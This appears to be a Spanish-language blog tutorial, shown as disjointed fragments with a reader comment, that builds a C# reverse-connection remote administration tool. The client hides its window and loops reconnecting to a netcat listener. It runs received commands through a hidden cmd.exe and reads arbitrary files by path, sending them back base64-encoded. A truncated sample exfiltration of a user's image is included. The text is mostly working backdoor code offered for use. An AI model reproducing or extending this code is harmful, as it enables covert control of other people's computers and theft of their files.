using System.IO; //Streamsusing System.Net.Sockets; //tcpclientusing System.Threading; //Hilos
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threading.Tasks;using System.IO; //Streamsusing System.Net; //IPAdressusing System.Net.Sockets; //tcpclientusing System.Threading; //Hilosnamespace Server{ public class Servidor {//variables necesarias para conectarnos al cliente de manera inversa, ademas de escuchar los mensajes de este private string ip; private int port; private TcpClient tcpClient; private NetworkStream ns; private StreamReader sr; private StreamWriter sw; private StringBuilder sb; public Servidor(string ip, int port) { this.ip = ip; this.port = port; } private enum mensajes { CD, Mensaje } public void iniciar(int tiempo) { EjecutarServidor(); Thread.Sleep(tiempo); } private void EjecutarServidor() { tcpClient = new TcpClient(); sb = new StringBuilder(); if (!tcpClient.Connected) { try { tcpClient.Connect(ip, port); ns = tcpClient.GetStream(); sr = new StreamReader(ns); sw = new StreamWriter(ns); } catch (Exception) { return; } for (; ; ) { try { sb.Append(sr.ReadLine()); LeerDatos(sb.ToString()); sb.Remove(0, sb.Length); } catch (Exception) { limpiar(); break; } } }//fin del if }//fin del metodo EjecutarServidor private void LeerDatos(string datos) { string[] cadena = datos.Split('$'); if (String.Compare(cadena[0], mensajes.Mensaje.ToString()) == 0) { Utilidades.mandarMensaje(cadena[1]); } }//fin de LeerDatos private void limpiar() { sr.Close(); sw.Close(); ns.Close(); }//fin de limpiar }//fin clase servidor}
private Servidor servidor; private int tiempoRecon;
servidor = new Servidor("127.0.0.1", 9999); tiempoRecon = 5000;
private void Form1_Load(object sender, EventArgs e) { this.Hide(); for (; ; ) { servidor.iniciar(tiempoRecon); } }
using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Windows.Forms;namespace Server{ public partial class Form1 : Form { private Servidor servidor; private int tiempoRecon; public Form1() { InitializeComponent(); servidor = new Servidor("127.0.0.1", 9999); tiempoRecon = 5000; } private void Form1_Load(object sender, EventArgs e) { this.Hide(); for (; ; ) { servidor.iniciar(tiempoRecon); } } }}
nc.exe -lvp 9999
string[] cadena = datos.Split('$');
sw.WriteLine("Hola");sw.Flush();
si el mensaje del cliente es igual a "dameIP" entoncesejecutamos el metodo Utilidades.obtenerIPy ese resultado lo mandamos mendiante writeline
private enum mensajes { CD, Mensaje, comando }
if (String.Compare(cadena[0], mensajes.comando.ToString()) == 0) { Utilidades.consola(cadena[1]); }
using System.Diagnostics;
public static void consola(string comando) { Process cmd = new Process(); cmd.StartInfo.FileName = "cmd.exe"; cmd.StartInfo.RedirectStandardInput = true; cmd.StartInfo.RedirectStandardOutput = true; cmd.StartInfo.CreateNoWindow = true; cmd.StartInfo.UseShellExecute = false; cmd.Start(); cmd.StandardInput.WriteLine(comando); cmd.StandardInput.Flush(); cmd.StandardInput.Close(); }
muy buena la información, estaría genial que pusieras algunas capturas del programa, y también que explicaras como instalar y/o configurar el netcat o cryptcat
public static string downloadFile(string ruta) { FileStream fs = new FileStream(ruta, FileMode.Open); BinaryReader lector = new BinaryReader(fs); byte[] bytes = new byte[(int)fs.Length]; string cadena = null; try { lector.Read(bytes, 0, bytes.Length); cadena = Convert.ToBase64String(bytes); } catch (IOException ex) { cadena = "error"; } return cadena; }
if (String.Compare(cadena[0], mensajes.download.ToString()) == 0) { sw.WriteLine(Utilidades.downloadFile(cadena[1])); }
private enum mensajes { CD, Mensaje, comando, download }
download$ruta_de_archivo
string sImagenTemporal = "pruebaaaaa.png"; //Nombre y formato que queramos FileStream fs2 = new FileStream(sImagenTemporal, FileMode.Create); BinaryWriter bw = new BinaryWriter(fs2); byte[] bytes = new byte[(int)fs2.Length]; try { bytes = Convert.FromBase64String(textBox1.Text); bw.Write(bytes); } finally { fs2.Close(); }
download$C:\Users\Devil\Desktop\DD\PC\Devil\1.pngiVBORw0KGgoAAAANSUhEUgAAA5IAAABlCAIAAACwbEt5AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAChZSURBVHhe7Z39j17Hdd/9txhFkEjUUiRF0oqg0pQoWpZM+YVcsFBBu7KoN1t1ItVUljThAgkp2nFkNXVleEuVcpFCgVXUcSEZSwkQahcKkh8CQQiyUgKhQALECYEIkNlCQAALUM/MuXPumTMvz9znPrv7PLvfgw8Wc889M3Nm7ty5X17eJT920003AwAAAAAAMOdMI1u//e3vvPnmm+fPf/OWWw6YUwAAAAAAAGwEg2Xr2bPf+CjY+++//+KLf/z5z58wMQAAAAAAAMyWYbL1ySe//uGHH3aiVZkJAwAAAAAAYLYMkK1/+If/8Ve/+lUnVGMzkQAAAAAAAMyWXrbee++xl19+5cUX/zj7xWrpPSubCQYAAAAAAGC29LK1U6AfffRXf7V+5MinxE/UNSuZDq5z/Mxqb2eWzdl5wGf4rdOHrf+mm5bdmZCzD3vqeBSwSRw+/S03e9XeXXrJ9IpztslTa5dO32mcjO8o2LjL7UY9B5MPAAAAgK0iI1vJ3n///YceeoT9Z89+Q2vWDz744Pz5b3YHwaSRKneevhRpl+OnHz7cn50XWGmlOoxk06VLvXLaMg4/fEmr6uNPrV7KTSP5rbBzsvvMce2ZDQXZWr7cpZyraNkKAAAAgB2Ila1/9Ef/jQskVb///R98+9vf4UO2X/ziF8vLJyVYTBqpYfTWvOJEGMlTq/mcCJsb2apyK0rARKRmhOxsyMvWyuWGbAUAAADAcKxspYIoV2NvvPGnt9/+SR0sxs5J1N72............... mas codigo en base64